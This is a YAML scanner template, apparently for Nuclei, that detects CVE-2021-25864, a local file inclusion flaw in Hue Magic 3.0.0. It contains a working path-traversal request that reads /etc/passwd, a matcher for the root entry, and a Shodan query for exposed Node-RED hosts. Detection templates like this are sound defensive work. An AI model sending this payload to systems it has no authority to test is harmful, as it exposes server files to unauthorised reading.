45 lines
1.3 KiB
YAML
45 lines
1.3 KiB
YAML
id: CVE-2021-25864
|
|
|
|
info:
|
|
name: Hue Magic 3.0.0 - Local File Inclusion
|
|
author: 0x_Akoko
|
|
severity: high
|
|
description: Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
|
|
remediation: |
|
|
Apply the latest security patch or update to a non-vulnerable version of Hue Magic.
|
|
reference:
|
|
- https://github.com/Foddy/node-red-contrib-huemagic/issues/217
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-25864
|
|
cwe-id: CWE-22
|
|
epss-score: 0.35089
|
|
epss-percentile: 0.96707
|
|
cpe: cpe:2.3:a:dgtl:huemagic:3.0.0:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: dgtl
|
|
product: huemagic
|
|
framework: node.js
|
|
shodan-query: title:"NODE-RED"
|
|
tags: cve,cve2021,huemagic,lfi
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502204f6b7d1359f6760f2facde886060e919ad7564dd409999fc85461b2dbef4c69a022100fc34d41b5ed0525cb3a4c016c95393b771ee3ad1e477f27fe6e1d66137230288:922c64590222798bb761d5b6d8e72950
|